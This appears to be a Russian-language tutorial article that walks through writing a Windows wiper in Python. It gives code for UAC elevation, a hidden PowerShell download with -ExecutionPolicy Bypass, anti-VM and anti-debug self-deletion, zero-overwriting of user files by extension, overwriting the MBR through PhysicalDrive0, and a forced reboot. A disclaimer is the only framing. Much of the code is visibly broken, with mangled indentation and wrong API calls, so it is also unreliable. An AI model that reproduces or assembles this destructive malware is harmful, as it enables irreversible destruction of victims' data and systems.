September 26, 2024

Python и вредоносное ПО: написание простого вредоносного ПО-очистителя

Автор: Мутный Движ - @mytnui_dvij

Данная статья создана исключительно для ознакомления и не призывает к действиям!

В этой статье я опишу, как написать вредоносное ПО. Обратите внимание, что это не «настоящее» вредоносное ПО, оно лишь показывает вам основы и даже то, насколько легко его написать. Вероятно, Python — не лучший выбор. Это интерпретируемый язык, поэтому для его выполнения требуется интерпретатор. Поэтому для написания вредоносного ПО, вероятно, лучше подойдут другие языки, которые могут работать на более низком уровне и которые можно компилировать. Вредоносное ПО часто разрабатывается таким образом, чтобы быть небольшим, скрытным, занимать мало памяти и использовать ограниченную вычислительную мощность. Поэтому очень часто можно увидеть вредоносное ПО, написанное на языках C и Assembly.

Обзор​Сначала я покажу его код, а затем в общих чертах опишу, как работает эта вредоносная программа, код состоит из двух компонентов: мы говорим только об окнах, Методы, которые вы увидите в этой вредоносной программе, взяты из общедоступных образцов вредоносных программ, все ссылки я оставлю в конце этой статьи.

Первая функцияIsAdmin
Код:

def IsAdmin():
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
            except:
                    return False

он проверяет, есть ли у него права администратора, если нет, он запускается RunAsAdminс использованием трюка ShellExecute runasдля повышения привилегий и немедленно завершает работу​

Код:

def RunAsAdmin():
ctypes.windll.shell32.IsUserAnAdmin() or (ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1) > 32, sys.exit())

Is64Bit
Код:

def Is64Bit():
    return platform.machine().endswith('64')

он просто проверяет, является ли текущий процесс 64-битным, используя platformlib эту функцию, она будет вызвана позже, InstallPyчтобы определить, какую версию Python следует установить, простой оператор if.
Код:

os_p = 64
        if not Is64Bit():
            os_p = 32

IsOnline Эта функция просто проверяет, находится ли зараженный компьютер в сети, используя библиотеку «request» для получения HTTP-ответа. Если TRUE, передать, если нет, программа сама его удалит. Почему? Отчаянные способы избежать анализа, и мы не хотим заражать мертвый компьютер
Код:

def IsOnline():
    try:
        x = requests.get('https://google.com', verify=False)
            return True
                except:
                    return False

Устный переводчик

IsPyExist Здесь я использую его os.path.exists, чтобы проверить, существует ли путь к Python на зараженном компьютере. Это можно сделать также с помощью подпроцесса для выполнения PowerShell cmd для проверки версии Python. Таким образом, мы можем определить, присутствует ли Python на зараженном компьютере или нет.
Код:

 p = subprocess.run(['powershell',
                        """$p = &{python -V} 2>&1;$version = if($p -is [System.Management.Automation.ErrorRecord]){$p.Exception.Message}; $p"""],
                       stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True, startupinfo=startupinfo)
    p.stdout.decode()
    return True
    for num in range(10, 45):
        if os.path.exists(f"C:/Users/{os.getlogin()}/Appdata/Local/Programs/Python/Python{num}/python.exe"):
            return True
            return False

InstallPy Цель этой функции — установить Python на зараженную машину. Суть в том, что мы устанавливаем наш интерпретатор, используя язык, который уже встроен в Windows.
Код:

def InstallPy():
    os_p = 64
    if not Is64Bit():
        os_p = 32
    rand_py = f'python{random.randrange(111, 9999999)}.exe'
    url = "https://www.python.org/ftp/python/3.8.1/python-3.8.1-amd64.exe" if os_p == 64 else "https://www.python.org/ftp/python/3.8.1/python-3.8.1.exe"
    subprocess.run(
        f"""powershell -ep Bypass -WindowStyle Hidden -Command "iwr -Uri {url} -OutFile c:/users/$env:username/appdata/local/temp/{rand_py}" """)
    if os.path.exists(f"c:/users/{os.getlogin()}/appdata/local/temp/{rand_py}"):
        subprocess.run(
            f"c:/users/{os.getlogin()}/appdata/local/temp/{rand_py} /quiet InstallAllUsers=0 Include_launcher=0 PrependPath=1 Include_test=0")
    os.remove(f"c:/users/{os.getlogin()}/appdata/local/temp/{rand_py}")
    subprocess.run("python -m pip install --upgrade pip")
    subprocess.run("python -m pip install pyinstaller psutil")
    pip_list = RunPwsh("pip list")
    if 'psutil' in pip_list.lower():
        wait4 = os.system('msg %username% in!')
    subprocess.run("msg %username% finished")
    return True

PowerShell -WindowStyle Hiddenскроет окно.
-ExecutionPolicy Bypassуже следует выполнить часть «Запуск от имени администратора» .
iwr -Uri Invoke-WebRequest Она анализирует ответ и возвращает коллекции ссылок.
Она {url}автоматически загрузит не требующий взаимодействия с пользователем -OutFile выходной файл python exe в tempкаталог под случайным именем, используя{rand_py}

Для лучшего понимания рекомендую этот урок.

Disclaimer | DevTut


Анти-анализ-техники

AntiVm Следующая функция будет искать процессы виртуальной машины, вредоносная программа будет автоматически удаляться в любое время при обнаружении виртуальной машины, код не может обнаружить аппаратные виртуальные машины (например, Hyper-V, который ускоряется на аппаратном уровне, например, рабочий процесс GitHub VPS)
Код:

def AntiVm():
      Process = ["vmsrvc.exe" , "vmusrvc.exe", "vboxtray.exe", "vmtoolsd.exe", "df5serv.exe", "vboxservice.exe"]
      for process in psutil.process_iter():
         for i in Process:
            if i in process.name().lower():
                return CommitSuicide()

AntiDebug
isDebuggerPresent() functionЭто самый простой метод противодействия отладке. Из документации MSDN мы видим, что это функция WinAPI, которая не принимает аргументов и возвращает ненулевое значение, если обнаруживает отладчик (TRUE), или ноль, что означает, что отладчик не обнаружен (FALSE). Если программа перенастроится (TRUE), программа сама его удалит.
Код:

def AntiDebug():
    isDebuggerPresent = windll.kernel32.IsDebuggerPresent()
    if (isDebuggerPresent):
        return CommitSuicide()
        return False

Этап 1 — Уничтожение содержимого файлов

  • стиратель начинает с поиска папок, содержащих важные файлы, такие как документы, загрузки, изображения, музыку и видео: более или менее все, что может быть ценно для пользователя. После того, как код находил эти папки, стирающий код перезаписывал их содержимое.

Список целевых расширений файлов
Код:

".m2ts", ".mkv", ".mov", ".mp4", ".mpg", ".mpeg",
            ".rm", ".swf", ".vob", ".wmv" ".docx", ".pdf",".rar",
            ".jpg", ".jpeg", ".png", ".tiff", ".zip", ".7z",
            ".tar.gz", ".tar", ".mp3", ".sh", ".c", ".cpp", ".h",
            ".gif", ".txt", ".jar", ".sql", ".bundle",
            ".sqlite3", ".html", ".php", ".log", ".bak", ".deb"

Код:

def SetFiles():
                for dirpath, dirs, files in os.walk(f"C:\\Users\\{os.getlogin()}\\{os.getcwd()}"):
                    for f in files:
                        path = os.path.abspath(os.path.join(dirpath, f))
                            if f.endswith(tuple(ext)):
                                with open(f, "rb") as files:
                                    data = files.read()
                                    files.close()
                                with open(f, "wb") as files:
                                    data.write(b'\x00') # Overwrites multiple files with zero bytes
                                    data.close()

Этап 2 - Уничтожение МБР

Основная загрузочная запись Основная загрузочная запись 8 жизненно важен для жесткого диска компьютера и содержит информацию о том, как хранить файлы и что компьютер должен делать при запуске. Без руководства главной загрузки практически невозможно, чтобы машина функционировала должным образом

Код:

def OverWriteMBR():    hDevice = Kernel32.CreateFileW("\\\\.\\PhysicalDrive0", 0x40000000, 0x00000001 | 0x00000002, None, 3, 0,0)
Kernel32.WriteFile(hDevice, Data, None)
        Kernel32.CloseHandle(hDevice)

Создайте дескриптор нашего физического диска hDevice = Kernel32.CreateFileW("\\\\.\\PhysicalDrive0", 0x40000000, 0x00000001 | 0x00000002, None, 3, 0,0)
для перезаписи MBR Kernel32.WriteFile(hDevice, Data, None) и закройте дескриптор нашего физического диска! Kernel32.CloseHandle(hDevice)
Этап 3 - Удалить себя

Код:

def CommitSuicide():
    file_path = os.path.abspath(__file__)
    os.remove(file_path)
    folder_path = os.path.dirname(file_path)
    os.system("cipher /W:%s" % folder_path) # At the end of the script, the file is deleted & over-written

Этап 4 — Выключите его!

Наконец, зараженная система должна немедленно перезагрузиться.
Код:

def SysDown():

# win32api.InitiateSystemShutdown(computername="",message="",timeOut=0, bForceclose=0,bRebootAfterShutdown=1)
    os.system("shutdown -t 0 -r -f ")